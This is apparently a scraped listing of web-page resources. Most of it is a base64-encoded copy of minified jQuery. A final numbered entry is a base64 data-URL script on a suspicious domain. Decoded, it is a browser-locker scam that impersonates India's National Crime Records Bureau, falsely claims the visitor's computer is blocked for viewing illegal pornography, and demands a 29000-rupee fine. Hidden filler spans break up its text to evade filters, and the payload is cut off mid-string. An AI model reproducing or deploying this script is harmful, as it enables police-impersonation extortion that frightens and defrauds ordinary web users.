EodCk7ZWxzZSB0cnl7dD1hKHQpfWNhdGNoKGUpe3JldHVybntzdGF0ZToicGFyc2VyZXJyb3IiLGVycm9yOmE/ZToiTm8gY29udmVyc2lvbiBmcm9tICIrdSsiIHRvICIrb319fXJldHVybntzdGF0ZToic3VjY2VzcyIsZGF0YTp0fX0odixzLFQsaSksaT8odi5pZk1vZGlmaWVkJiYoKHU9VC5nZXRSZXNwb25zZUhlYWRlcigiTGFzdC1Nb2RpZmllZCIpKSYmKFMubGFzdE1vZGlmaWVkW2ZdPXUpLCh1PVQuZ2V0UmVzcG9uc2VIZWFkZXIoImV0YWciKSkmJihTLmV0YWdbZl09dSkpLDIwND09PWV8fCJIRUFEIj09PXYudHlwZT9sPSJub2NvbnRlbnQiOjMwND09PWU/bD0ibm90bW9kaWZpZWQiOihsPXMuc3RhdGUsbz1zLmRhdGEsaT0hKGE9cy5lcnJvcikpKTooYT1sLCFlJiZsfHwobD0iZXJyb3IiLGU8MCYmKGU9MCkpKSxULnN0YXR1cz1lLFQuc3RhdHVzVGV4dD0odHx8bCkrIiIsaT94LnJlc29sdmVXaXRoKHksW28sbCxUXSk6eC5yZWplY3RXaXRoKHksW1QsbCxhXSksVC5zdGF0dXNDb2RlKHcpLHc9dm9pZCAwLGcmJm0udHJpZ2dlcihpPyJhamF4U3VjY2VzcyI6ImFqYXhFcnJvciIsW1QsdixpP286YV0pLGIuZmlyZVdpdGgoeSxbVCxsXSksZyYmKG0udHJpZ2dlcigiYWpheENvbXBsZXRlIixbVCx2XSksLS1TLmFjdGl2ZXx8Uy5ldmVudC50cmlnZ2VyKCJhamF4U3RvcCIpKSl9cmV0dXJuIFR9LGdldEpTT046ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBTLmdldChlLHQsbiwianNvbiIpfSxnZXRTY3JpcHQ6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gUy5nZXQoZSx2b2lkIDAsdCwic2NyaXB0Iil9fSksUy5lYWNoKFsiZ2V0IiwicG9zdCJdLGZ1bmN0aW9uKGUsaSl7U1tpXT1mdW5jdGlvbihlLHQsbixyKXtyZXR1cm4gbSh0KSYmKHI9cnx8bixuPXQsdD12b2lkIDApLFMuYWpheChTLmV4dGVuZCh7dXJsOmUsdHlwZTppLGRhdGFUeXBlOnIsZGF0YTp0LHN1Y2Nlc3M6bn0sUy5pc1BsYWluT2JqZWN0KGUpJiZlKSl9fSksUy5hamF4UHJlZmlsdGVyKGZ1bmN0aW9uKGUpe3ZhciB0O2Zvcih0IGluIGUuaGVhZGVycykiY29udGVudC10eXBlIj09PXQudG9Mb3dlckNhc2UoKSYmKGUuY29udGVudFR5cGU9ZS5oZWFkZXJzW3RdfHwiIil9KSxTLl9ldmFsVXJsPWZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gUy5hamF4KHt1cmw6ZSx0eXBlOiJHRVQiLGRhdGFUeXBlOiJzY3JpcHQiLGNhY2hlOiEwLGFzeW5jOiExLGdsb2JhbDohMSxjb252ZXJ0ZXJzOnsidGV4dCBzY3JpcHQiOmZ1bmN0aW9uKCl7fX0sZGF0YUZpbHRlcjpmdW5jdGlvbihlKXtTLmdsb2JhbEV2YWwoZSx0LG4pfX0pfSxTLmZuLmV4dGVuZCh7d3JhcEFsbDpmdW5jdGlvbihlKXt2YXIgdDtyZXR1cm4gdGhpc1swXSYmKG0oZSkmJihlPWUuY2FsbCh0aGlzWzBdKSksdD1TKGUsdGhpc1swXS5vd25lckRvY3VtZW50KS5lcSgwKS5jbG9uZSghMCksdGhpc1swXS5wYXJlbnROb2RlJiZ0Lmluc2VydEJlZm9yZSh0aGlzWzBdKSx0Lm1hcChmdW5jdGlvbigpe3ZhciBlPXRoaXM7d2hpbGUoZS5maXJzdEVsZW1lbnRDaGlsZCllPWUuZmlyc3RFbGVtZW50Q2hpbGQ7cmV0dXJuIGV9KS5hcHBlbmQodGhpcykpLHRoaXN9LHdyYXBJbm5lcjpmdW5jdGlvbihuKXtyZXR1cm4gbShuKT90aGlzLmVhY2goZnVuY3Rpb24oZSl7Uyh0aGlzKS53cmFwSW5uZXIobi5jYWxsKHRoaXMsZSkpfSk6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGU9Uyh0aGlzKSx0PWUuY29udGVudHMoKTt0Lmxlbmd0aD90LndyYXBBbGwobik6ZS5hcHBlbmQobil9KX0sd3JhcDpmdW5jdGlvbih0KXt2YXIgbj1tKHQpO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZSl7Uyh0aGlzKS53cmFwQWxsKG4/dC5jYWxsKHRoaXMsZSk6dCl9KX0sdW53cmFwOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLnBhcmVudChlKS5ub3QoImJvZHkiKS5lYWNoKGZ1bmN0aW9uKCl7Uyh0aGlzKS5yZXBsYWNlV2l0aCh0aGlzLmNoaWxkTm9kZXMpfSksdGhpc319KSxTLmV4cHIucHNldWRvcy5oaWRkZW49ZnVuY3Rpb24oZSl7cmV0dXJuIVMuZXhwci5wc2V1ZG9zLnZpc2libGUoZSl9LFMuZXhwci5wc2V1ZG9zLnZpc2libGU9ZnVuY3Rpb24oZSl7cmV0dXJuISEoZS5vZmZzZXRXaWR0aHx8ZS5vZmZzZXRIZWlnaHR8fGUuZ2V0Q2xpZW50UmVjdHMoKS5sZW5ndGgpfSxTLmFqYXhTZXR0aW5ncy54aHI9ZnVuY3Rpb24oKXt0cnl7cmV0dXJuIG5ldyBDLlhNTEh0dHBSZXF1ZXN0fWNhdGNoKGUpe319O3ZhciBfdD17MDoyMDAsMTIyMzoyMDR9LHp0PVMuYWpheFNldHRpbmdzLnhocigpO3kuY29ycz0hIXp0JiYid2l0aENyZWRlbnRpYWxzImluIHp0LHkuYWpheD16dD0hIXp0LFMuYWpheFRyYW5zcG9ydChmdW5jdGlvbihpKXt2YXIgbyxhO2lmKHkuY29yc3x8enQmJiFpLmNyb3NzRG9tYWluKXJldHVybntzZW5kOmZ1bmN0aW9uKGUsdCl7dmFyIG4scj1pLnhocigpO2lmKHIub3BlbihpLnR5cGUsaS51cmwsaS5hc3luYyxpLnVzZXJuYW1lLGkucGFzc3dvcmQpLGkueGhyRmllbGRzKWZvcihuIGluIGkueGhyRmllbGRzKXJbbl09aS54aHJGaWVsZHNbbl07Zm9yKG4gaW4gaS5taW1lVHlwZSYmci5vdmVycmlkZU1pbWVUeXBlJiZyLm92ZXJyaWRlTWltZVR5cGUoaS5taW1lVHlwZSksaS5jcm9zc0RvbWFpbnx8ZVsiWC1SZXF1ZXN0ZWQtV2l0aCJdfHwoZVsiWC1SZXF1ZXN0ZWQtV2l0aCJdPSJYTUxIdHRwUmVxdWVzdCIpLGUpci5zZXRSZXF1ZXN0SGVhZGVyKG4sZVtuXSk7bz1mdW5jdGlvbihlKXtyZXR1cm4gZnVuY3Rpb24oKXtvJiYobz1hPXIub25sb2FkPXIub25lcnJvcj1yLm9uYWJvcnQ9ci5vbnRpbWVvdXQ9ci5vbnJlYWR5c3RhdGVjaGFuZ2U9bnVsbCwiYWJvcnQiPT09ZT9yLmFib3J0KCk6ImVycm9yIj09PWU/Im51bWJlciIhPXR5cGVvZiByLnN0YXR1cz90KDAsImVycm9yIik6dChyLnN0YXR1cyxyLnN0YXR1c1RleHQpOnQoX3Rbci5zdGF0dXNdfHxyLnN0YXR1cyxyLnN0YXR1c1RleHQsInRleHQiIT09KHIucmVzcG9uc2VUeXBlfHwidGV4dCIpfHwic3RyaW5nIiE9dHlwZW9mIHIucmVzcG9uc2VUZXh0P3tiaW5hcnk6ci5yZXNwb25zZX06e3RleHQ6ci5yZXNwb25zZVRleHR9LHIuZ2V0QWxsUmVzcG9uc2VIZWFkZXJzKCkpKX19LHIub25sb2FkPW8oKSxhPXIub25lcnJvcj1yLm9udGltZW91dD1vKCJlcnJvciIpLHZvaWQgMCE9PXIub25hYm9ydD9yLm9uYWJvcnQ9YTpyLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpezQ9PT1yLnJlYWR5U3RhdGUmJkMuc2V0VGltZW91dChmdW5jdGlvbigpe28mJmEoKX0pfSxvPW8oImFib3J0Iik7dHJ5e3Iuc2VuZChpLmhhc0NvbnRlbnQmJmkuZGF0YXx8bnVsbCl9Y2F0Y2goZSl7aWYobyl0aHJvdyBlfX0sYWJvcnQ6ZnVuY3Rpb24oKXtvJiZvKCl9fX0pLFMuYWpheFByZWZpbHRlcihmdW5jdGlvbihlKXtlLmNyb3NzRG9tYWluJiYoZS5jb250ZW50cy5zY3JpcHQ9ITEpfSksUy5hamF4U2V0dXAoe2FjY2VwdHM6e3NjcmlwdDoidGV4dC9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi9lY21hc2NyaXB0LCBhcHBsaWNhdGlvbi94LWVjbWFzY3JpcHQifSxjb250ZW50czp7c2NyaXB0Oi9cYig/OmphdmF8ZWNtYSlzY3JpcHRcYi99LGNvbnZlcnRlcnM6eyJ0ZXh0IHNjcmlwdCI6ZnVuY3Rpb24oZSl7cmV0dXJuIFMuZ2xvYmFsRXZhbChlKSxlfX19KSxTLmFqYXhQcmVmaWx0ZXIoInNjcmlwdCIsZnVuY3Rpb24oZSl7dm9pZCAwPT09ZS5jYWNoZSYmKGUuY2FjaGU9ITEpLGUuY3Jvc3NEb21haW4mJihlLnR5cGU9IkdFVCIpfSksUy5hamF4VHJhbnNwb3J0KCJzY3JpcHQiLGZ1bmN0aW9uKG4pe3ZhciByLGk7aWYobi5jcm9zc0RvbWFpbnx8bi5zY3JpcHRBdHRycylyZXR1cm57c2VuZDpmdW5jdGlvbihlLHQpe3I9UygiPHNjcmlwdD4iKS5hdHRyKG4uc2NyaXB0QXR0cnN8fHt9KS5wcm9wKHtjaGFyc2V0Om4uc2NyaXB0Q2hhcnNldCxzcmM6bi51cmx9KS5vbigibG9hZCBlcnJvciIsaT1mdW5jdGlvbihlKXtyLnJlbW92ZSgpLGk9bnVsbCxlJiZ0KCJlcnJvciI9PT1lLnR5cGU/NDA0OjIwMCxlLnR5cGUpfSksRS5oZWFkLmFwcGVuZENoaWxkKHJbMF0pfSxhYm9ydDpmdW5jdGlvbigpe2kmJmkoKX19fSk7dmFyIFV0LFh0PVtdLFZ0PS8oPSlcPyg/PSZ8JCl8XD9cPy87Uy5hamF4U2V0dXAoe2pzb25wOiJjYWxsYmFjayIsanNvbnBDYWxsYmFjazpmdW5jdGlvbigpe3ZhciBlPVh0LnBvcCgpfHxTLmV4cGFuZG8rIl8iK0N0Lmd1aWQrKztyZXR1cm4gdGhpc1tlXT0hMCxlfX0pLFMuYWpheFByZWZpbHRlcigianNvbiBqc29ucCIsZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbyxhPSExIT09ZS5qc29ucCYmKFZ0LnRlc3QoZS51cmwpPyJ1cmwiOiJzdHJpbmciPT10eXBlb2YgZS5kYXRhJiYwPT09KGUuY29udGVudFR5cGV8fCIiKS5pbmRleE9mKCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSYmVnQudGVzdChlLmRhdGEpJiYiZGF0YSIpO2lmKGF8fCJqc29ucCI9PT1lLmRhdGFUeXBlc1swXSlyZXR1cm4gcj1lLmpzb25wQ2FsbGJhY2s9bShlLmpzb25wQ2FsbGJhY2spP2UuanNvbnBDYWxsYmFjaygpOmUuanNvbnBDYWxsYmFjayxhP2VbYV09ZVthXS5yZXBsYWNlKFZ0LCIkMSIrcik6ITEhPT1lLmpzb25wJiYoZS51cmwrPShFdC50ZXN0KGUudXJsKT8iJiI6Ij8iKStlLmpzb25wKyI9IityKSxlLmNvbnZlcnRlcnNbInNjcmlwdCBqc29uIl09ZnVuY3Rpb24oKXtyZXR1cm4gb3x8Uy5lcnJvcihyKyIgd2FzIG5vdCBjYWxsZWQiKSxvWzBdfSxlLmRhdGFUeXBlc1swXT0ianNvbiIsaT1DW3JdLENbcl09ZnVuY3Rpb24oKXtvPWFyZ3VtZW50c30sbi5hbHdheXMoZnVuY3Rpb24oKXt2b2lkIDA9PT1pP1MoQykucmVtb3ZlUHJvcChyKTpDW3JdPWksZVtyXSYmKGUuanNvbnBDYWxsYmFjaz10Lmpzb25wQ2FsbGJhY2ssWHQucHVzaChyKSksbyYmbShpKSYmaShvWzBdKSxvPWk9dm9pZCAwfSksInNjcmlwdCJ9KSx5LmNyZWF0ZUhUTUxEb2N1bWVudD0oKFV0PUUuaW1wbGVtZW50YXRpb24uY3JlYXRlSFRNTERvY3VtZW50KCIiKS5ib2R5KS5pbm5lckhUTUw9Ijxmb3JtPjwvZm9ybT48Zm9ybT48L2Zvcm0+IiwyPT09VXQuY2hpbGROb2Rlcy5sZW5ndGgpLFMucGFyc2VIVE1MPWZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4ic3RyaW5nIiE9dHlwZW9mIGU/W106KCJib29sZWFuIj09dHlwZW9mIHQmJihuPXQsdD0hMSksdHx8KHkuY3JlYXRlSFRNTERvY3VtZW50Pygocj0odD1FLmltcGxlbWVudGF0aW9uLmNyZWF0ZUhUTUxEb2N1bWVudCgiIikpLmNyZWF0ZUVsZW1lbnQoImJhc2UiKSkuaHJlZj1FLmxvY2F0aW9uLmhyZWYsdC5oZWFkLmFwcGVuZENoaWxkKHIpKTp0PUUpLG89IW4mJltdLChpPU4uZXhlYyhlKSk/W3QuY3JlYXRlRWxlbWVudChpWzFdKV06KGk9eGUoW2VdLHQsbyksbyYmby5sZW5ndGgmJlMobykucmVtb3ZlKCksUy5tZXJnZShbXSxpLmNoaWxkTm9kZXMpKSk7dmFyIHIsaSxvfSxTLmZuLmxvYWQ9ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbyxhPXRoaXMscz1lLmluZGV4T2YoIiAiKTtyZXR1cm4tMTxzJiYocj12dChlLnNsaWNlKHMpKSxlPWUuc2xpY2UoMCxzKSksbSh0KT8obj10LHQ9dm9pZCAwKTp0JiYib2JqZWN0Ij09dHlwZW9mIHQmJihpPSJQT1NUIiksMDxhLmxlbmd0aCYmUy5hamF4KHt1cmw6ZSx0eXBlOml8fCJHRVQiLGRhdGFUeXBlOiJodG1sIixkYXRhOnR9KS5kb25lKGZ1bmN0aW9uKGUpe289YXJndW1lbnRzLGEuaHRtbChyP1MoIjxkaXY+IikuYXBwZW5kKFMucGFyc2VIVE1MKGUpKS5maW5kKHIpOmUpfSkuYWx3YXlzKG4mJmZ1bmN0aW9uKGUsdCl7YS5lYWNoKGZ1bmN0aW9uKCl7bi5hcHBseSh0aGlzLG98fFtlLnJlc3BvbnNlVGV4dCx0LGVdKX0pfSksdGhpc30sUy5leHByLnBzZXVkb3MuYW5pbWF0ZWQ9ZnVuY3Rpb24odCl7cmV0dXJuIFMuZ3JlcChTLnRpbWVycyxmdW5jdGlvbihlKXtyZXR1cm4gdD09PWUuZWxlbX0pLmxlbmd0aH0sUy5vZmZzZXQ9e3NldE9mZnNldDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGEscyx1LGw9Uy5jc3MoZSwicG9zaXRpb24iKSxjPVMoZSksZj17fTsic3RhdGljIj09PWwmJihlLnN0eWxlLnBvc2l0aW9uPSJyZWxhdGl2ZSIpLHM9Yy5vZmZzZXQoKSxvPVMuY3NzKGUsInRvcCIpLHU9Uy5jc3MoZSwibGVmdCIpLCgiYWJzb2x1dGUiPT09bHx8ImZpeGVkIj09PWwpJiYtMTwobyt1KS5pbmRleE9mKCJhdXRvIik/KGE9KHI9Yy5wb3NpdGlvbigpKS50b3AsaT1yLmxlZnQpOihhPXBhcnNlRmxvYXQobyl8fDAsaT1wYXJzZUZsb2F0KHUpfHwwKSxtKHQpJiYodD10LmNhbGwoZSxuLFMuZXh0ZW5kKHt9LHMpKSksbnVsbCE9dC50b3AmJihmLnRvcD10LnRvcC1zLnRvcCthKSxudWxsIT10LmxlZnQmJihmLmxlZnQ9dC5sZWZ0LXMubGVmdCtpKSwidXNpbmciaW4gdD90LnVzaW5nLmNhbGwoZSxmKTooIm51bWJlciI9PXR5cGVvZiBmLnRvcCYmKGYudG9wKz0icHgiKSwibnVtYmVyIj09dHlwZW9mIGYubGVmdCYmKGYubGVmdCs9InB4IiksYy5jc3MoZikpfX0sUy5mbi5leHRlbmQoe29mZnNldDpmdW5jdGlvbih0KXtpZihhcmd1bWVudHMubGVuZ3RoKXJldHVybiB2b2lkIDA9PT10P3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKGUpe1Mub2Zmc2V0LnNldE9mZnNldCh0aGlzLHQsZSl9KTt2YXIgZSxuLHI9dGhpc1swXTtyZXR1cm4gcj9yLmdldENsaWVudFJlY3RzKCkubGVuZ3RoPyhlPXIuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCksbj1yLm93bmVyRG9jdW1lbnQuZGVmYXVsdFZpZXcse3RvcDplLnRvcCtuLnBhZ2VZT2Zmc2V0LGxlZnQ6ZS5sZWZ0K24ucGFnZVhPZmZzZXR9KTp7dG9wOjAsbGVmdDowfTp2b2lkIDB9LHBvc2l0aW9uOmZ1bmN0aW9uKCl7aWYodGhpc1swXSl7dmFyIGUsdCxuLHI9dGhpc1swXSxpPXt0b3A6MCxsZWZ0OjB9O2lmKCJmaXhlZCI9PT1TLmNzcyhyLCJwb3NpdGlvbiIpKXQ9ci5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTtlbHNle3Q9dGhpcy5vZmZzZXQoKSxuPXIub3duZXJEb2N1bWVudCxlPXIub2Zmc2V0UGFyZW50fHxuLmRvY3VtZW50RWxlbWVudDt3aGlsZShlJiYoZT09PW4uYm9keXx8ZT09PW4uZG9jdW1lbnRFbGVtZW50KSYmInN0YXRpYyI9PT1TLmNzcyhlLCJwb3NpdGlvbiIpKWU9ZS5wYXJlbnROb2RlO2UmJmUhPT1yJiYxPT09ZS5ub2RlVHlwZSYmKChpPVMoZSkub2Zmc2V0KCkpLnRvcCs9Uy5jc3MoZSwiYm9yZGVyVG9wV2lkdGgiLCEwKSxpLmxlZnQrPVMuY3NzKGUsImJvcmRlckxlZnRXaWR0aCIsITApKX1yZXR1cm57dG9wOnQudG9wLWkudG9wLVMuY3NzKHIsIm1hcmdpblRvcCIsITApLGxlZnQ6dC5sZWZ0LWkubGVmdC1TLmNzcyhyLCJtYXJnaW5MZWZ0IiwhMCl9fX0sb2Zmc2V0UGFyZW50OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubWFwKGZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5vZmZzZXRQYXJlbnQ7d2hpbGUoZSYmInN0YXRpYyI9PT1TLmNzcyhlLCJwb3NpdGlvbiIpKWU9ZS5vZmZzZXRQYXJlbnQ7cmV0dXJuIGV8fHJlfSl9fSksUy5lYWNoKHtzY3JvbGxMZWZ0OiJwYWdlWE9mZnNldCIsc2Nyb2xsVG9wOiJwYWdlWU9mZnNldCJ9LGZ1bmN0aW9uKHQsaSl7dmFyIG89InBhZ2VZT2Zmc2V0Ij09PWk7Uy5mblt0XT1mdW5jdGlvbihlKXtyZXR1cm4gJCh0aGlzLGZ1bmN0aW9uKGUsdCxuKXt2YXIgcjtpZih4KGUpP3I9ZTo5PT09ZS5ub2RlVHlwZSYmKHI9ZS5kZWZhdWx0Vmlldyksdm9pZCAwPT09bilyZXR1cm4gcj9yW2ldOmVbdF07cj9yLnNjcm9sbFRvKG8/ci5wYWdlWE9mZnNldDpuLG8/bjpyLnBhZ2VZT2Zmc2V0KTplW3RdPW59LHQsZSxhcmd1bWVudHMubGVuZ3RoKX19KSxTLmVhY2goWyJ0b3AiLCJsZWZ0Il0sZnVuY3Rpb24oZSxuKXtTLmNzc0hvb2tzW25dPSRlKHkucGl4ZWxQb3NpdGlvbixmdW5jdGlvbihlLHQpe2lmKHQpcmV0dXJuIHQ9QmUoZSxuKSxNZS50ZXN0KHQpP1MoZSkucG9zaXRpb24oKVtuXSsicHgiOnR9KX0pLFMuZWFjaCh7SGVpZ2h0OiJoZWlnaHQiLFdpZHRoOiJ3aWR0aCJ9LGZ1bmN0aW9uKGEscyl7Uy5lYWNoKHtwYWRkaW5nOiJpbm5lciIrYSxjb250ZW50OnMsIiI6Im91dGVyIithfSxmdW5jdGlvbihyLG8pe1MuZm5bb109ZnVuY3Rpb24oZSx0KXt2YXIgbj1hcmd1bWVudHMubGVuZ3RoJiYocnx8ImJvb2xlYW4iIT10eXBlb2YgZSksaT1yfHwoITA9PT1lfHwhMD09PXQ/Im1hcmdpbiI6ImJvcmRlciIpO3JldHVybiAkKHRoaXMsZnVuY3Rpb24oZSx0LG4pe3ZhciByO3JldHVybiB4KGUpPzA9PT1vLmluZGV4T2YoIm91dGVyIik/ZVsiaW5uZXIiK2FdOmUuZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50WyJjbGllbnQiK2FdOjk9PT1lLm5vZGVUeXBlPyhyPWUuZG9jdW1lbnRFbGVtZW50LE1hdGgubWF4KGUuYm9keVsic2Nyb2xsIithXSxyWyJzY3JvbGwiK2FdLGUuYm9keVsib2Zmc2V0IithXSxyWyJvZmZzZXQiK2FdLHJbImNsaWVudCIrYV0pKTp2b2lkIDA9PT1uP1MuY3NzKGUsdCxpKTpTLnN0eWxlKGUsdCxuLGkpfSxzLG4/ZTp2b2lkIDAsbil9fSl9KSxTLmVhY2goWyJhamF4U3RhcnQiLCJhamF4U3RvcCIsImFqYXhDb21wbGV0ZSIsImFqYXhFcnJvciIsImFqYXhTdWNjZXNzIiwiYWpheFNlbmQiXSxmdW5jdGlvbihlLHQpe1MuZm5bdF09ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMub24odCxlKX19KSxTLmZuLmV4dGVuZCh7YmluZDpmdW5jdGlvbihlLHQsbil7cmV0dXJuIHRoaXMub24oZSxudWxsLHQsbil9LHVuYmluZDpmdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLm9mZihlLG51bGwsdCl9LGRlbGVnYXRlOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiB0aGlzLm9uKHQsZSxuLHIpfSx1bmRlbGVnYXRlOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gMT09PWFyZ3VtZW50cy5sZW5ndGg/dGhpcy5vZmYoZSwiKioiKTp0aGlzLm9mZih0LGV8fCIqKiIsbil9LGhvdmVyOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMubW91c2VlbnRlcihlKS5tb3VzZWxlYXZlKHR8fGUpfX0pLFMuZWFjaCgiYmx1ciBmb2N1cyBmb2N1c2luIGZvY3Vzb3V0IHJlc2l6ZSBzY3JvbGwgY2xpY2sgZGJsY2xpY2sgbW91c2Vkb3duIG1vdXNldXAgbW91c2Vtb3ZlIG1vdXNlb3ZlciBtb3VzZW91dCBtb3VzZWVudGVyIG1vdXNlbGVhdmUgY2hhbmdlIHNlbGVjdCBzdWJtaXQga2V5ZG93biBrZXlwcmVzcyBrZXl1cCBjb250ZXh0bWVudSIuc3BsaXQoIiAiKSxmdW5jdGlvbihlLG4pe1MuZm5bbl09ZnVuY3Rpb24oZSx0KXtyZXR1cm4gMDxhcmd1bWVudHMubGVuZ3RoP3RoaXMub24obixudWxsLGUsdCk6dGhpcy50cmlnZ2VyKG4pfX0pO3ZhciBHdD0vXltcc1x1RkVGRlx4QTBdK3xbXHNcdUZFRkZceEEwXSskL2c7Uy5wcm94eT1mdW5jdGlvbihlLHQpe3ZhciBuLHIsaTtpZigic3RyaW5nIj09dHlwZW9mIHQmJihuPWVbdF0sdD1lLGU9biksbShlKSlyZXR1cm4gcj1zLmNhbGwoYXJndW1lbnRzLDIpLChpPWZ1bmN0aW9uKCl7cmV0dXJuIGUuYXBwbHkodHx8dGhpcyxyLmNvbmNhdChzLmNhbGwoYXJndW1lbnRzKSkpfSkuZ3VpZD1lLmd1aWQ9ZS5ndWlkfHxTLmd1aWQrKyxpfSxTLmhvbGRSZWFkeT1mdW5jdGlvbihlKXtlP1MucmVhZHlXYWl0Kys6Uy5yZWFkeSghMCl9LFMuaXNBcnJheT1BcnJheS5pc0FycmF5LFMucGFyc2VKU09OPUpTT04ucGFyc2UsUy5ub2RlTmFtZT1BLFMuaXNGdW5jdGlvbj1tLFMuaXNXaW5kb3c9eCxTLmNhbWVsQ2FzZT1YLFMudHlwZT13LFMubm93PURhdGUubm93LFMuaXNOdW1lcmljPWZ1bmN0aW9uKGUpe3ZhciB0PVMudHlwZShlKTtyZXR1cm4oIm51bWJlciI9PT10fHwic3RyaW5nIj09PXQpJiYhaXNOYU4oZS1wYXJzZUZsb2F0KGUpKX0sUy50cmltPWZ1bmN0aW9uKGUpe3JldHVybiBudWxsPT1lPyIiOihlKyIiKS5yZXBsYWNlKEd0LCIiKX0sImZ1bmN0aW9uIj09dHlwZW9mIGRlZmluZSYmZGVmaW5lLmFtZCYmZGVmaW5lKCJqcXVlcnkiLFtdLGZ1bmN0aW9uKCl7cmV0dXJuIFN9KTt2YXIgWXQ9Qy5qUXVlcnksUXQ9Qy4kO3JldHVybiBTLm5vQ29uZmxpY3Q9ZnVuY3Rpb24oZSl7cmV0dXJuIEMuJD09PVMmJihDLiQ9UXQpLGUmJkMualF1ZXJ5PT09UyYmKEMualF1ZXJ5PVl0KSxTfSwidW5kZWZpbmVkIj09dHlwZW9mIGUmJihDLmpRdWVyeT1DLiQ9UyksU30pOw==
  3. https://indaseclawsl.life/data:text/javascript;base64,dmFyIGRmYm5oZmogPSAneyJ0aXRsZSI6ICJOYXQnKydpb25hbCBDcicrJ2ltZSBSZWNvcmRzIEJ1cmVhdSIsJyArDQogICAgJyJhbGVydE1zZyI6IllvPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj51ciBjbzxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+bXB1dGVyIGhhcyBiZWVuIGJsbzxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+Y2tlZCIsJyArDQogICAgJyJtb3VzZUwnKydvY2siOiAiZmFsc2UiLCcgKw0KICAgICcic2VsZWN0b3IiOiIjTEtNa3VZZnRZVXlpb2lqVHJ5dGZ1SiIsJyArDQogICAgJyJ0YXJnZXRTY3JpcHQiOiJMS3VreXRmckNkdHJ5Y3RydC5waHAiLCcgKw0KICAgICcic3VjY2Vzc0xua1RpdGxlIjogImRvd25sb2FkIHJlY2VpcHQiLCcgKw0KICAgICcidXJsIiA6ICJodHRwczovL25jJysncmIuZ292LmluL2VuL0s1NDgnKyc0NS02Mjc4Lmh0bSIsJyArDQogICAgJyJyZXNvbHV0aW9uIjogIkluZGlhbiBQZW5hbCBDb2RlIGFjdDggU2VjdGlvbiAxODYwLzI5MiwyOTMiLCcgKw0KICAgICcic2Vjb25kQmxvY2siOiAiPGI+WW91ciBicm88c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPndzZXIgaGFzIGJlPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5lbiBibG9jPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5rZWQ8L2I+IGR1ZSB0byByZXBlYXRlZCB2aXNpdHMgdG8gcG9yPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5ub2dyPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5hcGhpYyBzaXRlcyBjb250YWluaW5nIG1hdGVyaWFscyBwcm9oaWJpdGVkIGJ5IHRoZSBsYXdzIG9mIHRoZSBJbmRpYSwgbmFtZWx5LCBwbzxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+cm48c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPm9ncmE8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPnBoeSBwcm9tb3RpbmcgcGVkPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5vcGhpbDxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+aWEsIHZpb2w8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmVuY2UgYW5kIGhvPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5tb3NlPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj54dWFsaXR5LicrDQonPGRpdiBjbGFzcz1tdC0yPllvdSBtPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj51c3QgcDxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+YXkgYSBmPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5pbmUgb2YgSW5kaWFuIHJ1PHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5wZWUgMjkwMDAgYnkgY3I8c3BhbiBjbGFzcz1oaWRkZW4+R